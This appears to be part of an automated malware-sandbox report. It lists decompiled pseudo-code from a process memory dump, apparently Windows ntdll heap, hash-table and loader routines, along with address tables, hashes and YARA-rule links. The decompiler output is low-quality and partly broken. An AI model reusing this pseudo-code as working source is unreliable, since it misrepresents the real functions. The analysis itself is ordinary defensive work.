							_v36 = _t316 >> 0x10;
							_v28 = _t316 >> 8;
							if(_t385 != 0) {
								goto L21;
							}
							_t418 = _t405 >> 5;
							if(_t418 == 0) {
								_t406 = 0;
								L31:
								if(_t406 == 0) {
									L35:
									E1E3BFA00(_t289, _t316, _t406, _t426 + 0x1c);
									 *0x1e48b1e0(0xc +  *_v16 * 4,  *((intOrPtr*)(_t426 + 0x28)));
									_t319 =  *((intOrPtr*)( *((intOrPtr*)(_t426 + 0x20))))();
									_v36 = _t319;
									if(_t319 != 0) {
										asm("stosd");
										asm("stosd");
										asm("stosd");
										_t408 = _v16;
										 *(_t319 + 8) =  *(_t319 + 8) & 0xff000001 | 0x00000001;
										 *((char*)(_t319 + 0xb)) =  *_v16;
										 *(_t319 + 4) = _t289;
										_t53 = _t319 + 0xc; // 0xc
										E1E3B2280(E1E3DF3E0(_t53,  *((intOrPtr*)(_v16 + 4)),  *_v16 << 2), _v20);
										_t428 = _v40;
										_t386 = 0;
										while(1) {
											L38:
											_t202 =  *(_t428 + 4);
											_v16 = _v16 | 0xffffffff;
											_v16 = _v16 << (_t202 & 0x0000001f);
											_t323 = _v16 & _t289;
											_v20 = _t323;
											_v20 = _v20 >> 0x18;
											_v28 = _t323;
											_v28 = _v28 >> 0x10;
											_v12 = _t323;
											_v12 = _v12 >> 8;
											_v32 = _t323;
											if(_t386 != 0) {
												goto L41;
											}
											_t247 = _t202 >> 5;
											_v24 = _t247;
											if(_t247 == 0) {
												_t412 = 0;
												L50:
												if(_t412 == 0) {
													L53:
													_t291 =  *(_t428 + 4);
													_v28 =  *((intOrPtr*)(_t428 + 0x28));
													_v44 =  *(_t428 + 0x24);
													_v32 =  *((intOrPtr*)(_t428 + 0x20));
													_t207 = _t291 >> 5;
													if( *_t428 < _t207 + _t207) {
														L74:
														_t430 = _t291 >> 5;
														_t293 = _v36;
														_t210 = (_t207 | 0xffffffff) << (_t291 & 0x0000001f) &  *(_t293 + 4);
														_v44 = _t210;
														_t159 = _t430 - 1; // 0xffffffdf
														_t428 = _v40;
														_t330 =  *(_t428 + 8);
														_t386 = _t159 & (_v44 >> 0x00000018) + ((_v44 >> 0x00000010 & 0x000000ff) + ((_t210 >> 0x00000008 & 0x000000ff) + ((_t210 & 0x000000ff) + 0x00b15dcb) * 0x00000025) * 0x00000025) * 0x00000025;
														_t412 = _t293;
														 *_t293 =  *(_t330 + _t386 * 4);
														 *(_t330 + _t386 * 4) = _t293;
														 *_t428 =  *_t428 + 1;
														_t289 = 0;
														L75:
														E1E3AFFB0(_t289, _t412, _t428 + 0x1c);
														if(_t289 != 0) {
															_t428 =  *(_t428 + 0x24);
															 *0x1e48b1e0(_t289,  *((intOrPtr*)(_t428 + 0x28)));
															 *_t428();
														}
														L77:
														return E1E3DB640(_t412, _t289, _v8 ^ _t433, _t386, _t412, _t428);
													}
													_t334 = 2;
													_t207 = E1E3CF3D5( &_v24, _t207 * _t334, _t207 * _t334 >> 0x20);
													if(_t207 < 0) {
														goto L74;
													}
													_t413 = _v24;
													if(_t413 < 4) {
														_t413 = 4;
													}
													 *0x1e48b1e0(_t413 << 2, _v28);
													_t207 =  *_v32();
													_t386 = _t207;
													_v16 = _t386;
													if(_t386 == 0) {
														_t291 =  *(_t428 + 4);
														if(_t291 >= 0x20) {
															goto L74;
														}
														_t289 = _v36;
														_t412 = 0;
														goto L75;
													} else {
														_t108 = _t413 - 1; // 0x3
														_t337 = _t108;
														if((_t413 & _t337) == 0) {
															L62:
															if(_t413 > 0x4000000) {
																_t413 = 0x4000000;
															}
															_t295 = _t386;
															_v24 = _v24 & 0x00000000;
															_t392 = _t413 << 2;
															_t230 = _t428 | 0x00000001;
															_t393 = _t392 >> 2;
															asm("sbb ecx, ecx");
															_t341 =  !(_v16 + _t392) & _t393;
															if(_t341 <= 0) {
																L67:
																_t395 = (_t393 | 0xffffffff) << ( *(_t428 + 4) & 0x0000001f);
																_v32 = _t395;
																_v20 = 0;
																if(( *(_t428 + 4) & 0xffffffe0) <= 0) {
																	L72:
																	_t345 =  *(_t428 + 8);
																	_t207 = _v16;
																	_t291 =  *(_t428 + 4) & 0x0000001f | _t413 << 0x00000005;
																	 *(_t428 + 8) = _t207;
																	 *(_t428 + 4) = _t291;
																	if(_t345 != 0) {
																		 *0x1e48b1e0(_t345, _v28);
																		_t207 =  *_v44();
																		_t291 =  *(_t428 + 4);
																	}
																	goto L74;
																} else {
																	goto L68;
																}
																do {
																	L68:
																	_t298 =  *(_t428 + 8);
																	_t431 = _v20;
																	_v12 = _t298;
																	while(1) {
																		_t347 =  *(_t298 + _t431 * 4);
																		_v24 = _t347;
																		if((_t347 & 0x00000001) != 0) {
																			goto L71;
																		}
																		 *(_t298 + _t431 * 4) =  *_t347;
																		_t300 =  *(_t347 + 4) & _t395;
																		_t398 = _v16;
																		_t353 = _t413 - 0x00000001 & (( *(_t347 + 4) & _t395) >> 0x00000018) + ((( *(_t347 + 4) & _t395) >> 0x00000010 & 0x000000ff) + ((( *(_t347 + 4) & _t395) >> 0x00000008 & 0x000000ff) + ((_t300 & 0x000000ff) + 0x00b15dcb) * 0x00000025) * 0x00000025) * 0x00000025;
																		_t303 = _v24;
																		 *_t303 =  *((intOrPtr*)(_t398 + _t353 * 4));
																		 *((intOrPtr*)(_t398 + _t353 * 4)) = _t303;
																		_t395 = _v32;
																		_t298 = _v12;
																	}
																	L71:
																	_v20 = _t431 + 1;
																	_t428 = _v40;
																} while (_v20 <  *(_t428 + 4) >> 5);
																goto L72;
															} else {
																_t399 = _v24;
																do {
																	_t399 = _t399 + 1;
																	 *_t295 = _t230;
																	_t295 = _t295 + 4;
																} while (_t399 < _t341);
																goto L67;
															}
														}
														_t354 = _t337 | 0xffffffff;
														if(_t413 == 0) {
															L61:
															_t413 = 1 << _t354;
															goto L62;
														} else {
															goto L60;
														}
														do {
															L60:
															_t354 = _t354 + 1;
															_t413 = _t413 >> 1;
														} while (_t413 != 0);
														goto L61;
													}
												}
												_t89 = _t412 + 8; // 0x8
												_t244 = E1E46E7A8(_t89);
												_t289 = _v36;
												if(_t244 == 0) {
													_t412 = 0;
												}
												goto L75;
											}
											_t386 =  *(_t428 + 8) + (_v24 - 0x00000001 & (_v20 & 0x000000ff) + 0x164b2f3f + (((_t323 & 0x000000ff) * 0x00000025 + (_v12 & 0x000000ff)) * 0x00000025 + (_v28 & 0x000000ff)) * 0x00000025) * 4;
											_t323 = _v32;
											while(1) {
												L41:
												_t386 =  *_t386;
												_v12 = _t386;
												if((_t386 & 0x00000001) != 0) {
													break;
												}
												if(_t323 == ( *(_t386 + 4) & _v16)) {
													L45:
													if(_t386 == 0) {
														goto L53;
													}
													if(E1E46E7EB(_t386, _t408) != 0) {
														_t412 = _v12;
														goto L50;
													}
													_t386 = _v12;
													goto L38;
												}
											}
											_t386 = 0;
											_v12 = 0;
											goto L45;
										}
									}
									_t412 = 0;
									goto L77;
								}
								_t38 = _t406 + 8; // 0x8
								_t364 = _t38;
								if(E1E46E7A8(_t38) == 0) {
									_t406 = 0;
								}
								E1E3BFA00(_t289, _t364, _t406, _v20);
								goto L77;
							}
							_t24 = _t418 - 1; // -1
							_t385 =  *((intOrPtr*)(_t426 + 8)) + (_t24 & (_v12 & 0x000000ff) + 0x164b2f3f + (((_t316 & 0x000000ff) * 0x00000025 + (_v28 & 0x000000ff)) * 0x00000025 + (_v36 & 0x000000ff)) * 0x00000025) * 4;
							_t316 = _v32;
							L21:
							_t406 = _v24;
							while(1) {
								_t385 =  *_t385;
								_v12 = _t385;
								if((_t385 & 0x00000001) != 0) {
									break;
								}
								if(_t316 == ( *(_t385 + 4) & _t406)) {
									L26:
									if(_t385 == 0) {
										goto L35;
									}
									_t177 = E1E46E7EB(_t385, _v16);
									if(_t177 != 0) {
										_t406 = _v12;
										goto L31;
									}
									_t385 = _v12;
									goto L18;
								}
							}
							_t385 = 0;
							_v12 = 0;
							goto L26;
						}
					}
					_t419 = _t404 - 1;
					if(_t419 == 0) {
						L15:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L16;
					}
					_t420 = _t419 - 1;
					if(_t420 == 0) {
						L14:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L15;
					}
					_t421 = _t420 - 1;
					if(_t421 == 0) {
						L13:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L14;
					}
					_t422 = _t421 - 1;
					if(_t422 == 0) {
						L12:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L13;
					}
					_t423 = _t422 - 1;
					if(_t423 == 0) {
						L11:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L12;
					}
					if(_t423 != 1) {
						goto L17;
					} else {
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L11;
					}
				} else {
					_t401 = _t403 >> 3;
					_t403 = _t403 + _t401 * 0xfffffff8;
					do {
						_t383 = ((((((_t425[1] & 0x000000ff) * 0x25 + (_t425[2] & 0x000000ff)) * 0x25 + (_t425[3] & 0x000000ff)) * 0x25 + (_t425[4] & 0x000000ff)) * 0x25 + (_t425[5] & 0x000000ff)) * 0x25 + (_t425[6] & 0x000000ff)) * 0x25 - _t289 * 0x2fe8ed1f;
						_t310 = ( *_t425 & 0x000000ff) * 0x1a617d0d;
						_t288 = _t425[7] & 0x000000ff;
						_t425 =  &(_t425[8]);
						_t289 = _t310 + _t383 + _t288;
						_t401 = _t401 - 1;
					} while (_t401 != 0);
					goto L3;
				}
			}

0x1e46e833
0x1e46e839
0x1e46e83e
0x1e46e841
0x1e46e848
0x1e46e84b
0x1e46e851
0x1e46e8b2
0x1e46e8b2
0x1e46e8b5
0x1e46e90b
0x1e46e911
0x1e46e913
0x1e46e913
0x1e46e91a
0x1e46e91d
0x1e46e922
0x1e46e924
0x1e46e924
0x1e46e924
0x1e46e92f
0x1e46e933
0x1e46e935
0x1e46e93a
0x1e46e940
0x1e46e948
0x1e46e950
0x1e46e955
0x00000000
0x00000000
0x1e46e957
0x1e46e95c
0x1e46e9cb
0x1e46e9d2
0x1e46e9d4
0x1e46e9f2
0x1e46e9f6
0x1e46ea10
0x1e46ea18
0x1e46ea1a
0x1e46ea1f
0x1e46ea2c
0x1e46ea2d
0x1e46ea2e
0x1e46ea32
0x1e46ea3d
0x1e46ea42
0x1e46ea45
0x1e46ea51
0x1e46ea60
0x1e46ea65
0x1e46ea68
0x1e46ea6a
0x1e46ea6a
0x1e46ea6a
0x1e46ea6f
0x1e46ea76
0x1e46ea7c
0x1e46ea7e
0x1e46ea81
0x1e46ea85
0x1e46ea88
0x1e46ea8c
0x1e46ea8f
0x1e46ea93
0x1e46ea98
0x00000000
0x00000000
0x1e46ea9a
0x1e46ea9d
0x1e46eaa2
0x1e46eb0e
0x1e46eb15
0x1e46eb17
0x1e46eb33
0x1e46eb36
0x1e46eb39
0x1e46eb3f
0x1e46eb45
0x1e46eb4a
0x1e46eb52
0x1e46ecb1
0x1e46ecb9
0x1e46ecbe
0x1e46ecc3
0x1e46ecc6
0x1e46eceb
0x1e46ecee
0x1e46ecf9
0x1e46ecfe
0x1e46ed00
0x1e46ed05
0x1e46ed07
0x1e46ed0a
0x1e46ed0c
0x1e46ed0e
0x1e46ed12
0x1e46ed19
0x1e46ed1e
0x1e46ed24
0x1e46ed2a
0x1e46ed2a
0x1e46ed2c
0x1e46ed3e
0x1e46ed3e
0x1e46eb5a
0x1e46eb62
0x1e46eb69
0x00000000
0x00000000
0x1e46eb6f
0x1e46eb75
0x1e46eb79
0x1e46eb79
0x1e46eb88
0x1e46eb8e
0x1e46eb90
0x1e46eb92
0x1e46eb97
0x1e46ed3f
0x1e46ed45
0x00000000
0x00000000
0x1e46ed4b
0x1e46ed4e
0x00000000
0x1e46eb9d
0x1e46eb9d
0x1e46eb9d
0x1e46eba2
0x1e46ebb5
0x1e46ebbc
0x1e46ebbe
0x1e46ebbe
0x1e46ebc3
0x1e46ebc5
0x1e46ebcb
0x1e46ebd2
0x1e46ebd5
0x1e46ebdb
0x1e46ebdf
0x1e46ebe1
0x1e46ebf0
0x1e46ebf9
0x1e46ec04
0x1e46ec07
0x1e46ec0a
0x1e46ec82
0x1e46ec85
0x1e46ec8b
0x1e46ec91
0x1e46ec93
0x1e46ec96
0x1e46ec9b
0x1e46eca6
0x1e46ecac
0x1e46ecae
0x1e46ecae
0x00000000
0x00000000
0x00000000
0x00000000
0x1e46ec0c
0x1e46ec0c
0x1e46ec0c
0x1e46ec0f
0x1e46ec12
0x1e46ec15
0x1e46ec15
0x1e46ec18
0x1e46ec1e
0x00000000
0x00000000
0x1e46ec22
0x1e46ec28
0x1e46ec4b
0x1e46ec5b
0x1e46ec5d
0x1e46ec63
0x1e46ec65
0x1e46ec68
0x1e46ec6b
0x1e46ec6b
0x1e46ec70
0x1e46ec71
0x1e46ec74
0x1e46ec7d
0x00000000
0x1e46ebe3
0x1e46ebe3
0x1e46ebe6
0x1e46ebe6
0x1e46ebe7
0x1e46ebe9
0x1e46ebec
0x00000000
0x1e46ebe6
0x1e46ebe1
0x1e46eba4
0x1e46eba9
0x1e46ebb0
0x1e46ebb3
0x00000000
0x00000000
0x00000000
0x00000000
0x1e46ebab
0x1e46ebab
0x1e46ebab
0x1e46ebac
0x1e46ebac
0x00000000
0x1e46ebab
0x1e46eb97
0x1e46eb19
0x1e46eb1c
0x1e46eb21
0x1e46eb26
0x1e46eb2c
0x1e46eb2c
0x00000000
0x1e46eb26
0x1e46ead6
0x1e46ead9
0x1e46eadc
0x1e46eadc
0x1e46eadc
0x1e46eade
0x1e46eae4
0x00000000
0x00000000
0x1e46eaee
0x1e46eaf7
0x1e46eaf9
0x00000000
0x00000000
0x1e46eb04
0x1e46eb12
0x00000000
0x1e46eb12
0x1e46eb06
0x00000000
0x1e46eb06
0x1e46eaf0
0x1e46eaf2
0x1e46eaf4
0x00000000
0x1e46eaf4
0x1e46ea6a
0x1e46ea21
0x00000000
0x1e46ea21
0x1e46e9d6
0x1e46e9d6
0x1e46e9e0
0x1e46e9e2
0x1e46e9e2
0x1e46e9e8
0x00000000
0x1e46e9e8
0x1e46e987
0x1e46e98f
0x1e46e992
0x1e46e995
0x1e46e995
0x1e46e998
0x1e46e998
0x1e46e99a
0x1e46e9a0
0x00000000
0x00000000
0x1e46e9a9
0x1e46e9b2
0x1e46e9b4
0x00000000
0x00000000
0x1e46e9ba
0x1e46e9c1
0x1e46e9cf
0x00000000
0x1e46e9cf
0x1e46e9c3
0x00000000
0x1e46e9c3
0x1e46e9ab
0x1e46e9ad
0x1e46e9af
0x00000000
0x1e46e9af
0x1e46e924
0x1e46e8b7
0x1e46e8ba
0x1e46e902
0x1e46e908
0x1e46e90a
0x00000000
0x1e46e90a
0x1e46e8bc
0x1e46e8bf
0x1e46e8f9
0x1e46e8ff
0x1e46e901
0x00000000
0x1e46e901
0x1e46e8c1
0x1e46e8c4
0x1e46e8f0
0x1e46e8f6
0x1e46e8f8
0x00000000
0x1e46e8f8
0x1e46e8c6
0x1e46e8c9
0x1e46e8e7
0x1e46e8ed
0x1e46e8ef
0x00000000
0x1e46e8ef
0x1e46e8cb
0x1e46e8ce
0x1e46e8de
0x1e46e8e4
0x1e46e8e6
0x00000000
0x1e46e8e6
0x1e46e8d3
0x00000000
0x1e46e8d5
0x1e46e8db
0x1e46e8dd
0x00000000
0x1e46e8dd
0x1e46e853
0x1e46e855
0x1e46e85b
0x1e46e85d
0x1e46e897
0x1e46e89c
0x1e46e8a2
0x1e46e8a6
0x1e46e8ab
0x1e46e8ad
0x1e46e8ad
0x00000000
0x1e46e85d

APIs

RtlDebugPrintTimes.NTDLL ref: 1E46EA10
RtlDebugPrintTimes.NTDLL ref: 1E46ED24

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 81d58f7bce0de9d69804b6bb83c0a9a5c4433bfc3c3d0430266058ef26028f89
Instruction ID: 0e36f08a7aff52e9fd17831c2b130c7a49393ebe1f54573cd220a27eacf7af8f
Opcode Fuzzy Hash: 81d58f7bce0de9d69804b6bb83c0a9a5c4433bfc3c3d0430266058ef26028f89
Instruction Fuzzy Hash: 7202B472E006568FCB18CFA9C89167EBBF6EF8C200B15466EE456DB380D734EA45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1E3940E1, Relevance: 6.3, Strings: 5, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E1E3940E1(void* __edx) {
				void* _t19;
				void* _t29;

				_t28 = _t19;
				_t29 = __edx;
				if( *((intOrPtr*)(_t19 + 0x60)) != 0xeeffeeff) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E1E39B150();
					} else {
						E1E39B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E1E39B150("Invalid heap signature for heap at %p", _t28);
					if(_t29 != 0) {
						E1E39B150(", passed to %s", _t29);
					}
					_push("\n");
					E1E39B150();
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x1e486378 = 1;
						asm("int3");
						 *0x1e486378 = 0;
					}
					return 0;
				}
				return 1;
			}

0x1e3940e6
0x1e3940e8
0x1e3940f1
0x1e3f042d
0x1e3f044c
0x1e3f0451
0x1e3f042f
0x1e3f0444
0x1e3f0449
0x1e3f045d
0x1e3f0466
0x1e3f046e
0x1e3f0474
0x1e3f0475
0x1e3f047a
0x1e3f048a
0x1e3f048c
0x1e3f0493
0x1e3f0494
0x1e3f0494
0x00000000
0x1e3f049b
0x00000000

Strings

HEAP[%wZ]: , xrefs: 1E3F043F
HEAP: , xrefs: 1E3F044C
Invalid heap signature for heap at %p, xrefs: 1E3F0458
, passed to %s, xrefs: 1E3F0469
RtlAllocateHeap, xrefs: 1E3F0468

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlAllocateHeap
API String ID: 0-188067316
Opcode ID: b04202f6cc633c7cee385d14744936add73d0198076a3df2fcb657531d86aa31
Instruction ID: c5b9437c00dd80e7d89f548f27eed047a6375bba73ee200f866c8b8589f00e72
Opcode Fuzzy Hash: b04202f6cc633c7cee385d14744936add73d0198076a3df2fcb657531d86aa31
Instruction Fuzzy Hash: 2D01FC36414190DED3198769E86CFD6B7A8DB42B30F154779F0054B751CBA8E840ED65

Uniqueness

Uniqueness Score: -1.00%

Function 1E4549A4, Relevance: 5.1, Strings: 4, Instructions: 114COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 1E454A3D, 1E454AB7
HEAP: , xrefs: 1E454A4A, 1E454A5D, 1E454A5F, 1E454AC4
This is located in the %s field of the heap header., xrefs: 1E454AD6
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 1E454A61

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 2994545307-336120773
Opcode ID: f01a15a644191d420d366b48b0c17eb0e5d0b6dd1633161c56e8766cc4b0ac60
Instruction ID: bc96b53ba250d19199149666c6ee26ec1a3b133cbfe467c5fc6ca1edb57cc526
Opcode Fuzzy Hash: f01a15a644191d420d366b48b0c17eb0e5d0b6dd1633161c56e8766cc4b0ac60
Instruction Fuzzy Hash: 43310136600164EFD794CBA8CC84F9673A9EF05720F114766F4069FB50E7B0ED80DA69

Uniqueness

Uniqueness Score: -1.00%

Function 1E3A8794, Relevance: 4.0, Strings: 3, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E1E3A8794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E1E3A934A() != 0) {
								_t159 = E1E41A9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
								if(_t159 < 0) {
									_t81 =  *0x1e485780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E1E415510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0x1e485780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E1E3A849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E1E3A8999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E1E3A8999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0x1e485c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0x1e485c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E1E3B2280(_t92, 0x1e4886cc);
															_t94 = E1E469DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E1E3C61A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0x1e485c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E1E3A8A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0x1e485c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0x1e485c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
												_t105 = E1E3DF380(_t136, 0x1e371184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E1E3B2280(_t108, 0x1e4886cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E1E3C61A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E1E469D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E1E3AFFB0(_t118, _t156, 0x1e4886cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E1E3D9A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}

0x1e3a8799
0x1e3a879d
0x1e3a87a1
0x1e3a87a3
0x1e3a87a8
0x1e3a87c3
0x1e3a87c3
0x1e3a87c8
0x1e3a87d1
0x1e3a87d4
0x1e3a87d8
0x1e3a87e5
0x1e3a87ec
0x1e3f9bfe
0x1e3f9c00
0x1e3f9c02
0x1e3f9c08
0x1e3f9c0d
0x1e3f9c0f
0x1e3f9c14
0x1e3f9c2d
0x1e3f9c32
0x1e3f9c37
0x1e3f9c3a
0x1e3f9c3c
0x1e3f9c42
0x1e3f9c42
0x1e3f9c3c
0x1e3f9c02
0x1e3a87da
0x1e3a87df
0x1e3a87e3
0x00000000
0x00000000
0x1e3a87e3
0x1e3a87f2
0x00000000
0x1e3a87fb
0x1e3a87fd
0x1e3a87fe
0x1e3a880e
0x1e3a880f
0x1e3a8810
0x1e3a8814
0x1e3a881a
0x1e3a881c
0x1e3a881f
0x1e3a8821
0x1e3a8822
0x1e3a8824
0x1e3a8826
0x1e3a882c
0x1e3a882e
0x1e3f9c48
0x1e3f9c48
0x1e3a8834
0x1e3a8834
0x1e3a8837
0x00000000
0x00000000
0x1e3a8837
0x1e3a882e
0x1e3a883d
0x1e3a8840
0x1e3a8843
0x1e3a8846
0x1e3a8849
0x1e3a884c
0x1e3a884e
0x1e3a8850
0x1e3a8852
0x1e3a8854
0x1e3a8857
0x1e3a88b4
0x1e3a88b6
0x1e3a88b6
0x1e3a8859
